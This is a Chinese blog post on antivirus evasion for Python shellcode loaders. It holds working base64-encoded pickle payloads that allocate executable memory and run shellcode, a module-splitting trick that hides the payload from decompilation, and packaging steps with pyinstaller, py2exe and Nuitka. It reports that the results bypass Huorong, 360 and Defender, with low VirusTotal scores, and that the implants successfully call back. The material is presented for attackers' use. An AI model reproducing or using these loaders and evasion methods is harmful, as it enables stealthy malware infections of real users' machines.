Python免杀思路技巧-----打包器的免杀(逆向加密方式),分离

Python免杀思路技巧—–打包器的免杀(逆向加密方式),分离

作者:Shmily

前言:在python免杀这一块上,这里我们使用python反序列来进行的shellcode的免杀,其实打包器的选择也是大有选择价值的,也是有着很大的作用的,这里我们使用python反序列来进行的shellcode的免杀那么现在我们就来细细的研究一下这里面的艺术吧

一.pyinstaller打包

1.1.1不加密打包代码

(这里所说的无加密是指:使用pyinstaller打包的时候没用进行加密处理)

python反序列化的代码:
 import pickle,base64,ctypes
 shellcode=b'gASVTwQAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFgwBAAACmltcG9ydCBjdHlwZXMsYmFzZTY0CmVuY29kZV9zaGVsbGNvZGU9Yid3N3pEcU1LUEFBQUFZTUtKdzZVeHc1Smt3b3RTTUFyQ2kxSU13b3RTRk1LTGNpZ1B3cmRLSmpIRHZ3b3h3NERDckR4aGZBSXNJTU9CdzQ4TkFjT0hTUXAxdzY5U3dvdFNFRmZDaTBJOEFjT1F3b3RBZUFyQ2hjT0FkRXdCdzVEQ2kwZ1l3b3RZSUZBQnc1TUt3b1hEaVhROE1jTy9TY0tMTk1LTEFjT1dNY09BdzRFS3c0OE53cXdCdzRjNHc2QjF3N1FEZmNPNE8zMGtDblhEb0ZqQ2kxZ2tBY09UWnNLTERFdkNpMWdjQ2dIRGs4S0xCTUtMQWNPUXdvbEVKQ1JiVzJGWkNscFJ3Ny9Eb0ZoZldzS0xFc09wd29ERHY4Ty93NzlkQ21nek1nQUFhSGR6TWw5VWFFeDNKZ29Id29uRHFNTy93NURDdU1LUUFRQUFLY09FVkZCb0NpbkNnR3NBdzcvRGxXb0thQzl0SWNLNGFBSUtBQm9nd29uRHBsQlFVRkJBVUVCUWFNT3FDZy9EbjhPZ3c3L0RsY0tYYWhCV1YyakNtY0tsZEdFS3c3L0RsY0tGdzRCMENzTy9UZ2gxdzZ6RHFHY0FBQW9BYWdCcUJGWlhhQUxEbWNPSVg4Ty93NVhDZ3dyRHVBQitOc0tMTm1wQWFBQVFBQUJXYWdvQWFGakNwRlBEcGNPL3c1WENrMU5xQUZaVFZ3cG9Bc09adzRoZnc3L0RsY0tEdzdnQWZTaFlhQUFLUUFBQWFnQlFhQXN2RHpERHY4T1ZWMmdLZFc1TlljTy93NVZlWHNPL0RDUVB3b1Z3dzc4S3c3L0R2OE9wd3B2RHY4Ty93NzhCdzRNcHc0WjF3NEhEZzhLN0NzT3d3clhDb2xacUFGUER2OE9WJwoKc2hlbGxjb2RlID0gYmFzZTY0LmI2NGRlY29kZShlbmNvZGVfc2hlbGxjb2RlKQpyd3hwYWdlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoMCwgbGVuKHNoZWxsY29kZSksIDB4MTAwMCwgMHg0MCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KHJ3eHBhZ2UsIGN0eXBlcy5jcmVhdGVfc3RyaW5nX2J1ZmZlcihzaGVsbGNvZGUpLCBsZW4oc2hlbGxjb2RlKSkKaGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoMCwgMCwgcnd4cGFnZSwgMCwgMCwgMCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGhhbmRsZSwgLTEpCpSFlFKULg=='
    pickle.loads(base64.b64decode(shellcode))

直接使用pyinstaller打包器对其进行打包

pyinstaller.exe -F xxx.py(xxx=shmily)
然后打包完成后直接被杀,而且大小还很大

所以说免杀可以说没啥作用,还可以反编译出来,这里使用的是pyinstxtractor.py,

将exe文件和其放到同一目录下

下载地址:https://github.com/extremecoders-re/pyinstxtractor

python pyinstxtractor.py shmily.exe

就会生成一个文件,然后找到文件:

进入文件后,发现里面的pyc文件都是可以反编译出来的

这里我使用的是在线python反编译:https://tool.lu/pyc/

可以将pyc文件直接反编译出来,但是这里可能效果不太好,有一部分代码并没有成功编译出来

pyinstaller在打包的时候,会将pyc文件的前8个字节清除,所以后期需要自己添加上去,前四个字节为python编译的版本,后四个字节为时间戳。(四个字节的magic number、四个字节的timestamp)

所以在这里可以通过struct文件来获取其中的信息,再添加到shmily文件里面去

因此这里将两个文件单独复制出来,通过16进制查看工具来查看下文件,Windows系统下可以使用winhex,mac系统下可以使用010 editor

将两两个结合,在保存文件为pyc文件去反编译即可

可以试试uncompyle6,目前可以在python3上使用pip的方式进行安装pip3 install uncompyle6

安装后直接使用

uncompyle6 shmily.pyc

这种要比在线反编译效果好很多

放在分析平台上分析(5/70)

https://www.virustotal.com/gui/home/upload

1.1.2加密打包代码

在利用pyinstaller.exe打包的时候加一个参数即可

pyinstaller.exe -F --key hacker shmily.py

这里加密打包后,可以说是没什么用,依旧被杀,而且还比没加密的exe文件大小大了几KB

同时,用pyinstxtractor.py执行后,也可以反编译出来

打开之后发现,文件和未使用--key参数的效果基本没什么变化。

–key的参数针对的只是依赖库进行了加密而已。

放到分析平台上面分析

和前面没有加–key打包器对比,威胁都是一模一样,基本没什么用,这个时候

1.1.3加载器免杀

因此这里pyinstaller.exe –key 加密的参数是对它的import加密,于是我们就想到将shellcode放到python的第三方库里面,这里就逆向不出来我们的代码了。

这里准备两个py文件,在编译的时候放到同一个目录下,当然你将shellcode的py文件放到第三方库里面也是可以的。

fxl.py文件内容:
# coding=UTF-8
import pickle,base64,ctypes

def shell():
    shellcode = b'gASVgQMAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFhiAwAACmltcG9ydCBjdHlwZXMsYmFzZTY0CmVuY29kZV9zaGVsbGNvZGU9YicvT2lQQUFBQVlJbmxNZEpraTFJd2kxSU1pMUlVRDdkS0pqSC9pM0lvTWNDc1BHRjhBaXdnd2M4TkFjZEpkZTlTVjR0U0VJdENQQUhRaTBCNGhjQjBUQUhRaTBnWVVJdFlJQUhUaGNsMFBESC9TWXMwaXdIV01jQ3N3YzhOQWNjNDRIWDBBMzM0TzMwa2RlQllpMWdrQWRObWl3eExpMWdjQWRPTEJJc0IwSWxFSkNSYlcyRlpXbEgvNEZoZldvc1M2WUQvLy85ZGFETXlBQUJvZDNNeVgxUm9USGNtQjRuby85QzRrQUVBQUNuRVZGQm9LWUJyQVAvVmFncG9MMjBodUdnQ0FCb2dpZVpRVUZCUVFGQkFVR2pxRDkvZy85V1hhaEJXVjJpWnBYUmgvOVdGd0hRSy8wNElkZXpvWndBQUFHb0FhZ1JXVjJnQzJjaGYvOVdEK0FCK05vczJha0JvQUJBQUFGWnFBR2hZcEZQbC85V1RVMm9BVmxOWGFBTFp5Ri8vMVlQNEFIMG9XR2dBUUFBQWFnQlFhQXN2RHpELzFWZG9kVzVOWWYvVlhsNy9EQ1FQaFhELy8vL3BtLy8vL3dIREtjWjF3Y083OExXaVZtb0FVLy9WJwpzaGVsbGNvZGUgPSBiYXNlNjQuYjY0ZGVjb2RlKGVuY29kZV9zaGVsbGNvZGUpCnJ3eHBhZ2UgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYygwLCBsZW4oc2hlbGxjb2RlKSwgMHgxMDAwLCAweDQwKQpjdHlwZXMud2luZGxsLmtlcm5lbDMyLlJ0bE1vdmVNZW1vcnkocnd4cGFnZSwgY3R5cGVzLmNyZWF0ZV9zdHJpbmdfYnVmZmVyKHNoZWxsY29kZSksIGxlbihzaGVsbGNvZGUpKQpoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZCgwLCAwLCByd3hwYWdlLCAwLCAwLCAwKQpjdHlwZXMud2luZGxsLmtlcm5lbDMyLldhaXRGb3JTaW5nbGVPYmplY3QoaGFuZGxlLCAtMSmUhZRSlC4='
    pickle.loads(base64.b64decode(shellcode))


if __name__ == '__main__':
    shell()
shellcode.py文件内容:
# coding=UTF-8
import fxl
from fxl import shell

if __name__ == '__main__':
    shell()

(1).首先对shellcode.py进行不加密打包,直接也绕过了某绒的检测,同时也是正常上线

pyinstaller.exe -F  shellcode.py

image-20220817140711700

现在使用pyinstxtractor.py执行后,进行反编译

python pyinstxtractor.py shellcode.exe

然后上传shellcode.pyc文件到在线反编译网页上去逆向,就只能看出,我允许的代码,,,而不能看到我调用的第三方库的代码,而第三方库里面正好写有shellcode

(2).对shellcode.py进行加密打包,直接也绕过了某绒的检测,同时也是正常上线

pyinstaller.exe -F --key sdad!! shellcode1.py

现在使用pyinstxtractor.py执行后,进行反编译

python pyinstxtractor.py shellcode1.exe

但是这里可以看到文件已经被加密变成了encrypted文件格式。当然这个文件依旧可以解密,但是解密成本要远高于目前的手法。因此做到了很好的免杀效果

总结:

pyinstaller打包器,在没有使用加载器免杀的时候加密和不加密其实没什么区别,使用了加载器才会有价值。

同时这里的pyinstaller打包器,除了特征比较明显以为,甚至打包出来的文件大小也很大

二.py2exe打包

安装:pip install py2exe

打包:python setup.py py2exe

setup.py

from distutils.core import setup
import py2exe
 
INCLUDES = ['shmily']
 
options = {
    "py2exe":
        {
            "compressed": 1,  # 0或1,1压缩,0不压缩
            "optimize": 2,  # 0、1、2,文件的优化级别
            "bundle_files": 1,  # 1、2、3,1表示所有文件打包成一个exe文件,2表示除了Python的解释器外都绑定,3表示不绑定
            "includes": INCLUDES,  # 列表,包含其它的一些模块
            "dll_excludes": ['MSVCP90.dll']  # 列表,包含的dll文件不会打包进exe程序
        }
}
setup(
    version='1.0.0',
    options=options,
    description="hacker",
    zipfile=None,  # 公用文件的压缩文件名称,默认为“library.zip”;如果没有,则会将这些文件放在最终的exe文件中
    console=[{"script": 'shmliy.py'}]  # 生成一个控制台形式的exe程序,对应的有windows=[],生成GUI形式的exe程序
)

成功生成exe文件,我们发现这玩意比pyinstaller打包出来的文件还要大,不过争对于火绒来说,还是绕过了,也是正常的成功上线

放到分析平台上分析(5/69)

总结:用py2exe打包的免杀性要比pyinstaller打包的免杀性好一点,但是呢打包出来的文件却大了不少,这样对我们“专业”的黑客肯定是非常不方便的,因此下面我们来介绍下面这款大包器,满足了我们的需求

三.Nuitka打包

这是它的用法

--standalone:方便移植到其他机器,不用再安装python
--show-memory --show-progress:展示整个安装的进度过程
--nofollow-imports:不编译代码中所有的import
--follow-import-to=utils,src:需要编译成C++代码的指定的2个包含源码的文件夹,这里用,来进行分隔。
--output-dir=out:指定输出的结果路径为out。
--windows-disable-console:运行exe取消弹框。
--mingw64 #默认为已经安装的vs2017去编译,否则就按指定的比如mingw(官方建议)
--standalone 独立环境,这是必须的(否则拷给别人无法使用)
--windows-disable-console 没有CMD控制窗口
--output-dir=out 生成exe到out文件夹下面去
--show-progress 显示编译的进度,很直观
--show-memory 显示内存的占用
--include-qt-plugins=sensible,styles 打包后PyQt的样式就不会变了
--plugin-enable=qt-plugins 需要加载的PyQt插件
--plugin-enable=tk-inter 打包tkinter模块的刚需
--plugin-enable=numpy 打包numpy,pandas,matplotlib模块的刚需
--plugin-enable=torch 打包pytorch的刚需
--plugin-enable=tensorflow 打包tensorflow的刚需
--windows-icon-from-ico=你的.ico 软件的图标
--windows-company-name=Windows下软件公司信息
--windows-product-name=Windows下软件名称
--windows-file-version=Windows下软件的信息
--windows-product-version=Windows下软件的产品信息
--windows-file-description=Windows下软件的作用描述
--windows-uac-admin=Windows下用户可以使用管理员权限来安装
--linux-onefile-icon=Linux下的图标位置
--onefile 像pyinstaller一样打包成单个exe文件
--include-package=复制比如numpy,PyQt5 这些带文件夹的叫包或者轮子
--include-module=复制比如when.py 这些以.py结尾的叫模块

使用:nuitka --mingw64 --standalone --show-memory --show-progress --nofollow-imports --follow-import-to=utils,src --output-dir=out xx.py
或者直接:nuitka xx.py

打包出来后,我们发现文件不仅及小,而且也直接绕过了某绒,也是成功上线

然后我们再将它丢近分析平台分析(1/70)

总结:文件不仅小,免杀也很好,而且放到分析平台上才1/70

总结:

总的来说:

争对于分析平台(VT):
pyinstaller:5/70

py2exe:5/69

nuitka:1/70 

争对于文件大小:
py2exe>pyinstaller>nuitka
这里是基于python代码反序列化免杀来评判打包器的免杀效果:
对于df:pyinstaller打包-->直接杀   py2exe打包-->正常   nuitka打包--->正常
对于360:pyinstaller打包-->正常   py2exe打包-->正常   nuitka打包--->正常
火绒:pyinstaller打包-->直接杀  py2exe打包-->正常   nuitka打包--->正常

   转载规则


《Python免杀思路技巧-----打包器的免杀(逆向加密方式),分离》 Shmily 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
CNVD证书-----代码审计PHP反序列化漏洞 CNVD证书-----代码审计PHP反序列化漏洞
CNVD证书—–代码审计PHP反序列化漏洞作者:Shmliy 前言:首先我们在审计php反序列化,要了解它的魔术方法,因为有些魔术方法是自动调用的,下列是列举的常见的几种魔术方法。 __wakeup() //使用unserialize时触发
2022-08-18
下一篇 
过安全狗方式上传shell 过安全狗方式上传shell
过安全狗方式上传shell php的异或运算: 2.利用字符的运算符: 3.通过end函数代替[]: 4.通过常量去绕过: 5.字符串拼接+双美元符 6.通过函数定义绕过 7.通过类定义,然后传参分割 name");
2022-08-12
  目录